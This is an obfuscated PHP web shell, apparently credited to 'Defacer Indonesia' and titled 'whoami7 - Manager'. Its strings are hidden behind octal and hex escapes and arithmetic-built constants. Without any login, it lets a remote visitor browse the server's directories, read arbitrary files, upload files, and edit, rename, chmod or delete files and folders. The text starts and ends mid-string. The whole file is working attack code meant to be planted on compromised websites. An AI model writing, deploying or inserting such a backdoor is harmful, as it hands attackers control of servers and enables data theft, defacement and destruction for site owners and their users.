hr\145\x66=\x22\150ttps\072//\163\x74\141\x63\153pa\164h.\142oot\163trap\x63dn\056c\x6fm\057\x66\x6fnt-awesom\x65/\064.\067.\x30/cs\x73/\146o\x6et-\x61wes\157\155\x65.\x6d\151n.\x63ss\042\x20re\x6c\x3d\042\163ty\154esh\x65\x65t\x22 \164y\160e\x3d\042\164ex\164\x2fc\x73s\042\057>\x0d\x0a<\x63\x65\156\164\145r>\015\x0a<style\040t\x79pe=\x22\x74ext/\143ss\042\076\x0d\012body \173\x0d\012\x09fon\164-fami\x6cy\x3a\x20K\145lly \123\x6cab\073\015\012\x09backgro\x75nd-\x63o\154or: \x62\154ac\x6b;\015\x0a\011col\x6f\x72: \x6ci\155\145;\x0d\x0a\011\175\015\012#con\x74\x65\156t \164r:\150over{\015\x0a\011\142ack\x67\162ound\x2d\143\157l\157r\072 #\073\x0d\012\011\164\x65\170t-s\x68ad\x6fw\x3a0\x70x 0px \0610\160x #F\x461493;\015\x0a\011}\x0d\x0a#\x63o\x6ete\156\164 .\146\151rst{\015\x0a\x09\x63\157\x6co\162:\040#00\060\x300\x30;\x0d\012\011\x62a\143kgr\x6f\165nd-\x69\155a\147\x65\072url(\x23)\x3b\015\012\x09\175\x0d\012\043conte\156t \056\x66ir\163t\072h\157\166e\162{\x0d\x0a\011\142ack\147ro\165nd-\143\157\x6co\162\072\040#\x46F\x314\0713\073\x0d\x0a\x09t\145\x78t-\x73\150ad\x6fw\072\x30\160\170\040\x30p\x78\0401p\170\x20#FF\x31\x34\x39\063;\015\x0a\x09\x7d\015\x0at\141\x62\154\x65\054 th\x2c td {\x0d\x0a\011\x09\x62\x6fr\144er-c\157\154\154a\160\163e:col\x6ca\x70se\073\x0d\x0a\011\x09\x70\141d\144\151n\147: \065px\x3b\x0d\x0a\011\x09co\x6cor\x3a #F\x4614\0713;\x0d\012\011\x09\x7d\x0d\x0a\x2e\x74ab\154e_home\054\x20.th\x5fhom\x65, .t\144\x5fho\155\145\x20{ \015\x0a\x09\x09\143olo\162: #\106F\x31493;\015\x0a\011\x09\142o\162\x64er\x3a \x32px\040\163\157li\x64 \043FF14\x39\063\073\x0d\012\x09\x09\x70a\x64ding: 7\x70x\073\x0d\x0a\011\011\x7d\x0d\012\141\x7b\015\x0a\011font-s\151\172\145\x3a 19\160x\x3b\x0d\012\011co\x6cor: \x23\106\106\061\x34\x39\x33;\x0d\x0a\011\164e\x78\x74-\x64eco\162ati\157n: none;\x0d\x0a\011}\x0d\012a:h\157\x76e\162\x7b\x0d\x0a\011c\157l\157r\x3a\x20#\x46\1061493;\x0d\x0a\011t\145\x78\x74\x2d\163\150adow:0\160x\0400\x70x\x20\0610\160\x78\040#\x46\x46\x3149\063;\x0d\x0a\x09\175\015\x0ain\x70ut,s\145\154ec\164\054te\x78\x74\141\x72ea{\015\x0a\011\142\x6f\x72\x64er:\x201\x70\x78 \x23FF14\071\063 so\x6cid;\015\012\x09-\155oz\055\x62o\162der-r\141\144iu\x73\x3a \x35p\x78\x3b\x0d\x0a\x09\x2d\x77eb\x6bit-bor\x64\145\162-ra\144\x69\x75s:5p\x78;\015\012\x09b\x6f\162der\x2dr\141\144ius\0725\160x;\x0d\012\011}\015\x0a.\143los\x65\x20{\x0d\x0a\x09overflo\167: \x61\165to\x3b\x0d\012\x09\142\x6f\x72der: \x31p\x78 sol\151d\x20#\x46F1\x34\0713\x3b\x0d\012\011\x62\141\143kgrou\x6ed: b\154\141\143k;\x0d\012\x09color: #FF14\x39\x33;\015\012\x09\175\015\012.r\040{\x0d\012\011\146\x6co\x61t: right;\015\012\x09t\145\x78t-\x61li\x67n:\x20r\151gh\x74;\015\x0a\011\x7d\015\012</\163\164y\154e\076\x0d\012<a\x20href\075\042\077\x22>\x3c\150\061\040\x73\164y\154e\x3d\042\x66ont\x2dfa\155il\x79\x3a\x20\x4be\154\x6cy\x20Sl\141b; \146\157nt-si\172e: 35p\x78;\040color\x3a white;\x22></h1\x3e\074\x2fa> \015\012<ce\x6eter><b><\146ont \146\141\143e=\042C\x6furie\x72 \116e\167\042 \143olor=\042w\150i\164\x65\042 \163i\x7ae\x3d\x22\065\x22>w\x68\x6f\141\155\x697 \x2d Man\x61\147\x65\x72 </fo\156\x74></b\076<\x2fcent\145r>\x0d\x0a\x3c\102\x4fDY\076\015\012\x0d\x0a\074\x74\x61bl\x65 widt\150\x3d\0429\x35%\042 b\x6fr\144er=\x220\x22 ce\x6c\154\x70addi\x6e\x67\x3d\0420\042\040cel\x6c\163\160a\143\151\x6e\147\075\x22\x30\x22 alig\x6e\075\042left\042>\015\x0a\x3c\x74\x72\076<t\x64>";echo"\074\164a\x62\x6c\145\040wi\144t\x68=\x22\071\065%\x22 b\157rde\x72=\x220\042\x20\x63ellpad\x64ing=\x220\042\x20cell\163p\141\x63in\x67=\0420\042 alig\x6e\x3d\x22\143e\x6e\164er\042\x3e\015\x0a\x3c\x74r \141li\147n\x3d\042c\145n\164er\x22\076\074td\040align=\x22c\x65\x6e\164e\x72\x22>\074\142\162\076";if(isset($_GET["\x70ath"])){$_rchv=$_GET["\x70a\x74\x68"];}else{$_rchv=gETcWD();}$_rchv=sTR_RePlACe("\x5c","\057",$_rchv);$_fxdae=EXpLoDe("/",$_rchv);foreach($_fxdae as$_lyvgaxi=>$_trbno){if($_trbno==""&&$_lyvgaxi==(int)rouNd(0+0)){$_xruhfq=true;echo"\074\x69 c\154\141\163\x73=\042f\x61 f\x61-\x66\x6fl\144e\x72-o\042\076\x3c/i>\040:\x20\x3ca\040h\x72e\146\x3d\x22\x3f\x70\141t\150=/\x22\076\x2f</a>";continue;}if($_trbno=="")continue;echo"<\x61 hr\145f\075\x22?\x70\x61th\075";for($_ymyrqik=(int)rOUND(0+0+0+0);$_ymyrqik<=$_lyvgaxi;$_ymyrqik++){echo''.$_fxdae[$_ymyrqik];if($_ymyrqik!=$_lyvgaxi)echo"/";}echo"\042>".$_trbno."</\141>/";}echo"\074\x62\x72>\x3cb\x72><b\x72><\x66o\x6e\164\040\143\157lor=\042l\151m\x65\x22><fo\x72m\040\145n\x63\x74ype\x3d\x22mult\x69\160\141r\164\057\146\x6frm\x2d\144\x61t\x61\042\x20\155e\164hod=\x22\x50\x4fST\x22\076\x0d\012\x55\160\x6c\x6f\141d \x46\151\x6c\145\072\040<in\x70\x75t \164\x79pe=\042\x66\151le\x22\x20\x6eame=\x22fi\x6ce\042 \x73\164yl\x65\x3d\x22\x63olor\072\x6cime\073b\157r\x64\x65r:\062p\170 s\157lid\040\154im\x65;\042\x20\x72\x65\x71u\x69\x72ed/></f\x6fnt>\x0d\x0a<input\x20t\x79\160\145=\x22subm\x69t\042 \166\x61l\x75e=\042U\120LO\101D\x22\x20\x73t\x79le\x3d\x22m\141\162gin\x2d\x74o\160\x3a4px;width\x3a\0610\x30p\x78;he\151g\x68t:2\067p\170\073\x66ont-\146ami\154y\072K\x65\x6c\x6c\171 Sla\x62;\x66\x6f\156t\055\163\x69\172\145\x3a15\073\142\x61\143\x6bg\162\x6f\165\156d:black;col\x6fr\x3a lime\x3bbord\x65\x72:2px s\157li\144\x20\x6c\x69me;borde\162-rad\x69us:5p\x78\x22\057>";if(isset($_FILES["f\x69le"])){if(cOpY($_FILES["f\x69le"]["tmp_na\x6de"],$_rchv."/".$_FILES["fil\145"]["na\x6de"])){echo"<br\x3e\074br>\074\146\x6f\x6e\x74 color=\042\x6ci\x6d\x65\x22>\125\120LOAD\x20\123UCC\x45S\040!\041\x21!</\x66o\156t\x3e<\x62\x72/>";}else{echo"<\x73cr\151\160t>a\x6ce\x72t\x28\x22\x46i\x6ce Gaga\154\040\x44\151u\160\x6c\x6f\x61d \041!\x22)\x3c/s\x63ri\x70t>";}}echo"\074\057\146\x6frm\076\x3c\x2f\x74d\x3e<\x2f\x74\162>";if(isset($_GET["f\151lesrc"])){echo"\074tr\x3e<\x74d\076\146iles\x20\x3e\076 ";echo$_GET["f\x69lesr\x63"];echo"\074/tr>\x3c\x2ftd>\074/\164a\142\154e\076<br /\076";echo("\040<\x74\x65\170\164ar\x65a \163\164yle\075\x22\146\157\x6et-\x73\151\172\145: 8px;\x20\142or\x64\145r\072 1\x70x solid \x77\150ite;\040b\x61c\153\x67r\x6f\165\156d\x2dcol\157\x72\x3a \x62lac\x6b\073 c\x6f\154or:\040whit\x65\x3b\040\x77\x69\x64t\150:\0401\x300%;heig\x68t:\x201\06200px;\042\040\x72ead\x6fnly\076\x20".htmLSpecIAlChArs(filE_Get_cOntENTS($_GET["\146il\x65\x73rc"]))."\x3c\x2ftexta\162\145a>");}elseif(isset($_GET["\157p\x74io\x6e"])&&$_POST["op\164"]!="\x64elet\x65"){echo"</\x74a\142\154e\076\x3c\142r\040\057\076<\143enter>".$_POST["\x70a\x74h"]."\074br\x20\057\076\x3cbr\x20\x2f\076";if($_POST["o\160t"]=="c\x68\x6do\144"){if(isset($_POST["p\x65\162m"])){if(CHmOd($_POST["pat\150"],$_POST["pe\162m"])){echo"<\x62\x72><b\x72\x3e<f\157\x6e\x74 \143\x6flo\162\075\x22l\151\x6de\x22\x3e\x43H\x41\x4e\107E\040PERMI\x53SI\x4fN\x20\123\x55C\x43\x45\123\x53 !!<\x2ffont\076<\142\x72/>";}else{echo"<sc\x72ipt\076\141le\x72t(\x22\x43han\147e\040\x50e\x72miss\x69o\156 G\x61\147\141l\x20!!\042)\x3c\x2fs\143\x72ip\164\x3e";}}echo"<for\x6d metho\144\075\042P\x4fS\124\042\x3e\x0d\x0aP\145r\155iss\x69o\156 \072 <i\x6e\160u\x74\x20name\x3d\x22p\x65r\x6d\x22 type=\x22t\145\170t\x22\x20si\x7ae=\x224\042\040\166alu\x65=\042".SUBStr(sPRINtF("\045\x6f",fiLEPeRmS($_POST["\160ath"])),-(int)rOunD(1.3333333333333+1.3333333333333+1.3333333333333))."\x22\x20s\x74yl\x65=\042\x77i\144t\x68\07280p\170\x3b heig\x68t: \x33\060\x70x\x3b\x22\057>\015\x0a<\x69\156\x70\165\164 type=\x22\x68idden\042\040n\x61m\x65=\042pat\x68\042\x20v\141\x6cu\145\075\042".$_POST["\x70at\x68"]."\042>\015\012\074i\x6ep\x75\164\x20typ\145\075\x22hi\x64de\156\042 nam\x65\x3d\042op\164\x22 \x76a\154\165e\075\x22c\x68\x6do\144\042>\015\012\074i\156p\165t t\x79pe=\042sub\x6d\151\x74\042 v\141l\165e=\042\x4canjut\x22\x20\x73\164yle=\x22w\x69dth:\x360\x70x;\040h\145\151\147\x68t: \x33\x30px\073\x22/>\x0d\012\x3c/\146orm>";}elseif($_GET["op\x74"]=="bt\167"){$_nrkskmnq=getCwD();echo"\x3cf\157\162m a\143\164\151on\075\x22\077\x6fp\164\151\x6fn&p\141\164h=".$_nrkskmnq."&op\164=del\x65\164\x65&t\171\160e=\142\165\141t\x22\x20\x6det\x68\x6fd=\042P\117\123\x54\042\076\x0d\x0a\116ew\040\116\x61me :\040<in\160ut na\155e=\042\x6ea\155e\x22 type\075\042\x74\145\x78\x74\x22 s\x69\172e\x3d\042\0625\x22 v\141\154\x75\x65\075\042\106o\x6cd\x65\x72\042\040st\171le=\042wi\144th:3\x300\x70x; hei\147\x68\164:\0403\x30\160\x78\x3b\042\x2f\076\x0d\x0a<\x69\x6eput \x74ype\x3d\042h\x69dden\042 nam\145\075\x22path\x22\040value\x3d\042".$_nrkskmnq."\042>\015\x0a\x3cin\160ut\040\164ype\075\x22hid\144\145n\042 na\155\145=\x22\157\160t\x22 va\x6cue=\042\x64\145\x6cete\x22\076\x0d\012\074in\160\165\x74\040t\x79\160e=\x22\163\165b\x6d\151t\042 \x76\x61l\x75e=\x22G\157\042\x20\163t\x79\x6ce\075\042w\151\x64\x74h:1\0600px\x3b\x20h\x65igh\x74\072 30\x70x\x3b\x22/\076\x0d\012</\146orm>";}elseif($_POST["o\x70t"]=="rena\155\145"){if(isset($_POST["\x6ee\167name"])){if(renAMe($_POST["p\x61\x74\150"],$_rchv."/".$_POST["newn\x61m\x65"])){echo"\074br\076\074b\x72\076<\x66o\156t co\x6c\x6fr=\042\x6cim\x65\042\076CH\x41N\107E NA\115\105\040\x53\x55C\x43\x45SS\x20!!\074/f\x6fnt>\x3c\x62\x72\x2f>";}else{echo"<sc\x72ipt>a\x6ce\162t\x28\042\103\x68\141n\x67e\040\116\x61me\x20\107agal !!\x22)<\x2f\x73c\162\151p\164\x3e";}$_POST["name"]=$_POST["newn\x61me"];}echo"<fo\x72\155\040m\145thod=\x22P\117\123T\x22\x3e\015\x0a\116\x65w \x4eame\x20: \x3c\x69npu\164 name\075\042\156\x65wn\141\x6de\x22 \x74ype=\042text\042 s\x69\x7a\145=\042\065\042\040\163\x74yle=\042w\x69\144\x74\x68\x3a20%\073\x20h\x65\x69g\x68t:30px\x3b\042 \166alue\075\x22".$_POST["\156\141\155e"]."\042 />\x0d\012\x3cin\160\165t\x20typ\145\x3d\042hi\x64den\042\040n\141me\x3d\x22p\x61\x74h\x22 va\154ue\075\042".$_POST["pa\x74\x68"]."\x22>\x0d\012<input\040\x74yp\145\x3d\x22hi\144de\156\x22 n\141\155e=\x22o\x70t\x22\x20v\x61\154\x75\145\x3d\042\162\145n\141\x6de\042>\x0d\012<\151n\x70ut\x20ty\x70\x65\x3d\042s\x75b\155\x69t\042 value\x3d\x22Lanj\x75\164\x22 s\164y\x6ce=\042he\151ght:30px\x3b\042 \057>\015\012</f\x6f\162m>";}elseif($_POST["op\x74"]=="\145d\151t"){if(isset($_POST["\163rc"])){$_rkzbuyrn=FoPEn($_POST["path"],"w");if(fputs($_rkzbuyrn,$_POST["s\x72\143"])){echo"<br\x3e<\142r\x3e\x3c\146\x6f\156\x74 co\x6c\x6f\162=\x22\x6c\151m\x65\x22\x3e\105\x44\x49\x54\x20\x46ILE SUC\103ES\123\040\x21\041<\x2ffont\x3e<b\x72/>";}else{echo"<\163crip\164>\x61\154\x65r\x74(\042E\144\x69t F\151le G\141\x67\141l\040\x21\x21\042\051\x3c\057s\x63r\151pt>";}FcloSE($_rkzbuyrn);}echo"<\146orm\040\x6deth\157\x64=\x22\x50O\123\x54\x22>\x0d\x0a<t\x65\170t\141\162\x65\x61\040\143ols\x3d\x38\x30 rows=2\x30 n\141m\145\075\042src\x22 \163\164yl\145\x3d\042fon\x74\x2dsi\172e: \x38px;\x20bor\x64\x65\162:\0401\160\x78 s\157l\x69d w\x68ite; ba\143kgro\165\x6e\x64-\x63\x6flo\162\x3a \x62l\141ck; co\154or\072 \167\150ite; \x77\x69\144th\x3a \06100\x25;heig\x68t:\04010\0600p\x78\x3b\042>".HtmlSPeCIalCHars(fILe_geT_cONTEnts($_POST["\x70at\150"]))."\074/te\x78t\x61\x72\x65a\x3e<\142r /\x3e\015\012\074inp\x75\164 \x74y\160e=\x22\x68id\x64en\x22\x20\x6e\x61m\x65=\042pat\x68\x22\x20valu\145\075\x22".$_POST["pat\x68"]."\042>\x0d\x0a<\x69npu\164 \x74yp\x65=\042\150i\x64\144e\x6e\042 n\141m\x65=\x22opt\x22\x20\x76alu\x65\x3d\x22edit\042\x3e\x0d\x0a<i\156put t\171p\145\075\x22\x73ubmit\x22\040\166alue=\x22\114an\x6au\164\042 \163tyle=\x22\150\x65igh\164:30p\170\073\x20\167idth:7\060px;\042/\076\x0d\012\074/fo\162m>";}echo"\x3c/c\x65nter\x3e";}else{echo"</t\x61\142l\x65\076<\142r\040/><\x63\145\156te\162>";if(isset($_GET["o\x70tion"])&&$_POST["opt"]=="\x64\x65\x6ce\164e"){if($_POST["t\171pe"]=="d\x69\x72"){if(RmdiR($_POST["\x70a\164h"])){echo"<b\x72><br><fo\156\x74\x20color=\042\154\151m\x65\x22>D\105LE\124\105 \x44\x49R SU\x43CE\123\x53\040!\x21</\x66o\156t><br\057>";}else{echo"\074scr\x69pt\076alert\x28\042\104elete Dir\x20G\141g\x61\154\040!!\x22)</s\143\x72\151\160t\076>";}}elseif($_POST["\x74ype"]=="\146ile"){if(UnLINK($_POST["\x70at\150"])){echo"\x3cbr\076\074br>\074f\157\x6et\040c\157\154or=\042\154\151m\x65\042\x3eD\x45\x4cE\124\105 \106\x49LE\x20SUCCES\x53 !!\074/font>\074\x62r/\076";}else{echo"<scri\160t\x3e\x61\154\145\x72t(\x22\x44e\154e\164e Fil\x65\040G\141ga\154 !!\x22)</s\143r\x69p\x74>";}}};echo"</\143enter>";$_ayypv=scANDiR($_rchv);$_xpytds=getCwd();echo"<di\166 i\144\x3d\042c\x6fnten\x74\042>\x3cta\142\154e w\151\144\164\x68=\042\0715\045\042\x20\143la\x73\x73=\x22t\141ble\137h\157m\x65\042\x20border=\0420\042 \x63ell\160ad\144\x69ng=\0423\042 cell\x73pac\x69n\147\x3d\x22\061\042\040\x61l\151\147n\075\x22ce\156ter\x22\076\015\012<\164r\x20\x63\x6ca\x73s\075\x22\146\x69\x72\x73\x74\042>\015\012<\x74\150\076\074\x63\145n\164e\162>Na\x6d\145</\143\145\x6ete\x72\076<\057\164h>\x0d\x0a\074th><c\145nt\145\x72\076S\151\x7ae</cen\164\x65\162>\x3c/t\x68\x3e\015\x0a<\x74h>\x3cc\x65\156te\162\076Per\x6d</\x63\x65n\x74e\162></\x74h>\x0d\012<\x74\150>\x3cc\145\156t\x65r>O\x70\x74\151ons</\x63\x65nter></t\x68>\x0d\012</\164r>\x0d\012<t\162>";foreach($_ayypv as$_quvizd){if(!iS_dIr($_rchv."/".$_quvizd)||$_quvizd=="\x2e"||$_quvizd==".\056")continue;echo"<t\162>\x0d\x0a\x3ctd\040\x63la\163s=td_h\x6f\155\145>\074\151m\147\x20\x73\x72c\075\x27'><\141\x20\x68ref\x3d\x22\x3fp\141t\150=".$_rchv."\x2f".$_quvizd."\x22> ".$_quvizd."</a\076</td\076\x0d\012<t\x64\040class\075t\144\137\150\x6f\155e>\074cente\x72>\x44IR</cen\x74er><\057\164d\x3e\x0d\012<\164d\040cla\x73s\x3dtd\137ho\x6de>\074\143\x65n\164er>";if(iS_WRItABLe($_rchv."\057".$_quvizd))echo"\x3c\x66on\164 \x63\x6f\154o\162\x3d\x22#57F\1060\x30\x22\x3e";elseif(!IS_ReAdaBLe($_rchv."\x2f".$_quvizd))echo"\074font \143olo\x72=\x22\043\106F0\x30\0604\042>";echo _exhctpr($_rchv."\057".$_quvizd);if(iS_wRItABLE($_rchv."/".$_quvizd)||!iS_rEAdABlE($_rchv."/".$_quvizd))echo"</\146o\156\x74>";echo"<\x2fc\x65nt\145r>\x3c/t\144\076\015\x0a<\164d \x63la\x73\x73=td_h\157m\x65><\143\x65\156te\162><f\x6fr\155 \x6de\164ho\144=\042PO\x53\x54\x22 acti\157\x6e=\x22\077\157p\x74i\157n&\x70a\164h=".$_rchv."\042>\015\012\074\x73elect\x20\156ame=\x22\x6f\160\x74\042\040sty\154e=\x22mar\x67i\x6e\x2d\x74op\x3a6\160\170\x3b\167\151d\x74h:\x31\0600p\x78;fo\x6et-fam\151ly:K\145ll\x79\040\123la\x62\073fon\x74-\x73i\x7a\145\0721\065\073backgro\165\156\x64:b\154ac\153;color\x3al\x69\155e;bo\162der\0722px s\157\x6cid \154\x69\x6de;bo\162\x64er-rad\x69\x75s\072\065px\x22>\x0d\x0a<option val\x75e=\042\x41c\x74i\157n\x22\x3eA\143t\x69o\x6e<\057o\x70\x74ion\x3e\x0d\x0a<o\x70\x74ion\x20\166a\x6cu\x65\075\042delet\x65\x22>De\x6c\145\164e\x3c\057\157pti\157n>\015\x0a<opti\157n v\x61\x6cu\145\x3d\042ch\x6dod\042>Ch\155od\x3c\x2foptio\x6e>\x0d\x0a<\x6f\160\164io\x6e\x20v\x61lue=\x22\162e\x6eame\x22>Re\x6e\141m\145</option\x3e\x0d\x0a<\x2fse\154ec\164\x3e\x0d\x0a\x3ci\x6e\x70\165\164 t\171\160e\x3d\042hidden\x22 \156a\x6d\x65\075\x22type\042 \x76\x61\x6cue\075\042dir\x22\076\x0d\x0a\074\x69n\160\165\164\x20type=\042hidd\145\x6e\042 n\141me\075\x22name\042\040v\141\x6cue=\042".$_quvizd."\042\x3e\015\x0a<\x69nput\040\164\171\160e=\042hi\x64den\042\040\156am\x65=\x22\160\x61th\042 \x76alue\x3d\042".$_rchv."\057".$_quvizd."\x22>\x0d\012<i\156\160u\x74 \164y\x70e\x3d\042s\165b\x6d\151\164\042 v\141lue\075\042\x3e\x22 styl\145=\042ma\x72gin-to\x70\x3a\x36px;w\151dt\x68:2\x37\x3b\x66\157\x6et-fami\154\171\072\x4b\x65ll\x79 \x53l\x61b;\x66o\156t-size\x3a15;ba\x63\153gr\x6f\165\156d:bla\143k\073\x63\x6flor:lime\073bo\x72\x64e\162\x3a2\160x solid\040\x6c\x69\155e;b\157r\144er-ra\x64i\x75\163:5\x70x\042/>\015\x0a\x3c/fo\162\155><\x2fcenter\076<\x2ft\x64\076\015\012\x3c\x2ft\162>";}echo"\074tr\040c\x6c\141\163s=\x22fi\162s\x74\042>\074t\x64><\x2ftd><\x74d\x3e</\x74d\076<\164\x64>\074/\164\x64\076\x3c\x74d>\074\057t\x64\x3e\074/tr\076";foreach($_ayypv as$_ydbte){if(!iS_FIle($_rchv."\057".$_ydbte))continue;$_oydcdm=FilesizE($_rchv."/".$_ydbte)/(int)RoUNd(256+256+256+256);$_oydcdm=ROUnD($_oydcdm,(int)RoUnd(1+1+1));if($_oydcdm>=(int)ROuNd(256+256+256+256)){$_oydcdm=rouNd($_oydcdm/(int)RoUnD(256+256+256+256),(int)RoUNd(94+94+94)-(0550-0120))."\x20MB";}else{$_oydcdm=$_oydcdm." KB";}echo"<tr>\015\x0a<td class=td_\150\x6fm\x65\076<i\155\147 \163rc=\x27'\076<\141 \150r\145f=\x22\077\146\151\154\145\163\162c=".$_rchv."/".$_ydbte."&\x70\x61th=".$_rchv."\x22> ".$_ydbte."</a></\164\144>\015\012<\164d \143lass=td_\x68ome\076\x3cc\x65nter>".$_oydcdm."\x3c\x2f\x63e\x6eter\076</\164\144\076\x0d\x0a\x3c\164d cl\x61ss=t\144\137\150ome><ce\156te\162\076";if(iS_WritaBle($_rchv."\x2f".$_ydbte))echo"\x3cf\157\156\x74 c\x6flo\162=\x22#\0657FF\x30\x30\x22>";elseif(!is_rEadaBLE($_rchv."\057".$_ydbte))echo"<fo\156\x74 co\x6co\162=\042\x23F\1060004\042>";echo _exhctpr($_rchv."/".$_ydbte);if(iS_WRItAble($_rchv."/".$_ydbte)||!iS_reADABle($_rchv."/".$_ydbte))echo"\074/\x66\157nt\x3e";echo"</c\145nt\145r>\074\057\x74\x64>\015\x0a\x3c\164\x64 c\154\x61ss\075\x74\x64_\x68o\155e>\074ce\x6e\164\x65r><f\157rm \155e\x74ho\x64=\x22POST\042\x20\x61ct\x69\x6fn\075\x22?\x6fp\x74ion&\160ath\075".$_rchv."\042>\x0d\x0a<s\145l\145c\164\040n\x61me=\042\x6f\160t\042\x20st\171\154e=\042\155a\x72g\151\x6e-to\160:6\160\x78;w\x69dth\072\x3100p\170;fo\x6et-f\141mi\x6cy\x3aKelly \x53lab;\x66\x6fnt-s\x69\172e\07215\x3bb\141\143\x6bgr\x6f\165\x6e\144:bl\x61ck;c\157\154o\x72:\x6cime\073\x62orde\x72:\062p\170 soli\144 li\155e;borde\x72\055\x72adius:\065p\170\x22>\x0d\012<o\x70\x74\x69on \x76a\154ue=\x22\101\143\x74\151on\042\076Ac\164\151on</o\160t\151o\156>\x0d\012<opt\x69\157\156 value\x3d\042\x64el\x65t\x65\x22>\x44e\x6c\145\x74\145\074/o\160tio\x6e>\015\x0a<o\160\x74io\156\x20\166\141l\165\145=\042\x65\x64\151t\042\x3eE\x64it\074/o\x70\x74ion>\x0d\x0a<opt\151o\x6e\x20\x76alue\075\042re\156\x61\155\x65\042>\x52e\156\141me\x3c/\157p\164i\157n>\x0d\x0a\074\157ption\x20v\x61lue=\x22c\x68\155o\x64\042\x3eC\150mod<\x2f\x6f\x70tion\076\015\x0a<\x2fsele\143\x74>\x0d\x0a<\x69nput t\171\x70e=\x22\x68idd\x65\156\x22 nam\145\075\x22\x74\x79\160e\042\040\166a\x6cue=\042fil\145\042>\015\x0a<in\160\165t t\171\160\145=\042hidde\156\042\040\x6e\141me\x3d\042n\x61m\x65\042\x20value=\x22".$_ydbte."\042>\015\012<in\x70ut\x20typ\x65=\x22\150\151dden\x22\040n\141me\x3d\042\x70a\164\150\042 v\141\x6cue=\042".$_rchv."/".$_ydbte."\x22>\x0d\012<\151n\x70u\164 type\x3d\x22\x73\x75bmi\164\x22 v\141lue=\042>\x22 sty\x6ce\x3d\x22ma\x72\147\151n-\x74op\0726px\x3bwidt\150\x3a\0627;f\157\x6et-\x66am\x69\x6cy:\x4be\154\x6c\x79 Slab\x3b\146o\x6e\164\x2d\x73i\172\145\x3a15;\142a\143\153gro\x75nd\072\x62\154\x61ck;colo\162\x3alime\x3b\x62or\x64e\x72\072\x32px s\157li\144 \x6cime;bor\144\145\x72-\162a\x64\x69us:5\160x\x22\x2f\076\015\x0a</\146\157rm><\057cen\x74\x65r\x3e</td>\x0d\x0a\x3c/\x74\x72>";}echo"\x3c/\164\x61\x62le>\x0d\012</\144\151v\x3e";}echo"<c\x65\156t\145\x72><b\x72\057><\x66\x6fnt f\x61ce\075\x22\x4b\x65\154ly S\154\x61\x62\x22 \x63o\154o\162=\042\x77hi\x74\x65\x22 \x73tyl\x65=\042tex\164\055\163ha\x64ow:\060\040\x30\x202\060px\x20#0\x30\106\x41\x46F,\x200 0\040\065px #0\060FAFF, 0 0 7px\040r\145d\054 \x30 0\0404\x35\160x\040\04300F\x41F\x46; \x66\x6fn\x74\x2d\x77\x65\x69\x67h\164\072b\157l\x64: \x77hit\145; \146\x6f\156\x74\x2d\163ize:15\160\170\x22>\103\157p\x79\x72\x69\x67\150t\x20&c\x6fp\171\07320\0621\040|| D\145fa\x63\x65\162 \x49\x6edonesia\x0d\012</bod\171\076\015\x0a</ht\155l>";function _exhctpr($_ydbte){$_cpvrpwnd=FIlEPERMs($_ydbte);if(($_cpvrpwnd&(int)rouND(16384+16384+16384))==(int)ROuNd(24576+24576)){$_bypphv="s";}elseif(($_cpvrpwnd&((0120730+-0572)-(0321+-0163)))==(int)RoUnd(10240+10240+10240+10240)){$_bypphv="l";}elseif(($_cpvrpwnd&(int)round(16384+16384))==(int)ROunD(8192+8192+8192+8192)){$_bypphv="-";}elseif(($_cpvrpwnd&(int)ROunD(6144+6144+6144+6144))==((int)RoUnd(8114.6666666667+8114.6666666667+8114.6666666667)-(int)ROUnd(6050.25+6050.25+6050.25+6050.25)+(057627+057662-057730))){$_bypphv="\142";}elseif(($_cpvrpwnd&((040376-0167)+(int)rOUND(5371.6666666667+5371.6666666667+5371.6666666667)+(int)RouNd(-8125+-8125)))==((036050-036046+036555)-(042172-041467+042242-01443)-(-042463- -042531+-042524+-045))){$_bypphv="d";}elseif(($_cpvrpwnd&((017060+020614-017717)-(017001+017770+-016747)-(int)ROund(-4114.5+-4114.5)))==((int)RoUNd(4371+4371)-(int)rOuNd(2550.6666666667+2550.6666666667+2550.6666666667)-(020755-01315)-(int)rouNd(-7535+-7535))){$_bypphv="\143";}elseif(($_cpvrpwnd&((int)rOUnD(2228+2228)-(06072+0464)+(04674-07021- -010133)))==((int)ROunD(1104+1104+1104+1104)-(010604-020)+(011642+011533+010533-024127)-(-0602-0413+01132))){$_bypphv="\160";}else{$_bypphv="u";}$_bypphv.=(($_cpvrpwnd&((int)rOUNd(47.5+47.5)-(-0172- -0123- -0462+-0654)))?"\x72":"-");$_bypphv.=(($_cpvrpwnd&(int)rouNd(32+32+32+32))?"w":"-");$_bypphv.=(($_cpvrpwnd&((0345+0121-0305)+(-0624- -01222+-0462)+(0233+01120-0456+-0534)+(int)rOUnD(-47+-47)))?(($_cpvrpwnd&(int)rOund(512+512+512+512))?"s":"x"):(($_cpvrpwnd&(int)ROUnd(1024+1024))?"\123":"\x2d"));$_bypphv.=(($_cpvrpwnd&((0246- -0101)+(0752+-01417- -0301)-(int)rOUNd(65.5+65.5)+(int)roUnD(10.666666666667+10.666666666667+10.666666666667)))?"r":"-");$_bypphv.=(($_cpvrpwnd&((int)roUnd(81.25+81.25+81.25+81.25)+(int)rOuND(41+41)+(int)rOunD(-195.5+-195.5)))?"w":"-");$_bypphv.=(($_cpvrpwnd&((int)ROUND(-107.75+-107.75+-107.75+-107.75)+(int)RouNd(-133+-133+-133)+(-02175- -01374-0650)-(-02773- -03236+-03425+03)))?(($_cpvrpwnd&((int)ROuND(311+311+311+311)+(int)round(492+492)-(int)rOunD(293.25+293.25+293.25+293.25)-(int)RouND(7.75+7.75+7.75+7.75)))?"\163":"\x78"):(($_cpvrpwnd&(int)roUNd(256+256+256+256))?"S":"-"));$_bypphv.=(($_cpvrpwnd&(int)rOuNd(1.3333333333333+1.3333333333333+1.3333333333333))?"\x72":"-");$_bypphv.=(($_cpvrpwnd&((01231+-0230)-(int)rOund(-49+-49+-49)-(int)rouNd(188+188)-(02026-01130-01514+01250)))?"\x77":"\055");$_bypphv.=(($_cpvrpwnd&(int)Round(0.33333333333333+0.33333333333333+0.33333333333333))?(($_cpvrpwnd&((01371+01374+-01362)+(int)rOuND(310.33333333333+310.33333333333+310.33333333333)+(02044-0544)-(04733+02761-02747+-01177)))?"t":"x"):(($_cpvrpwnd&(int)rOUnd(256+256))?"T":"\055"));return$_bypphv;};echo"n\x66\157\x20.= ((\044\160erm\x73\x20\046 \x30x\x30020\x29 \x3f \047r' : \047\x2d')\073\x0d\x0a\x24\x69\x6efo .=\040\050\x28\x24per\x6ds &\x200x\x30010)\x20? 'w\047 \x3a 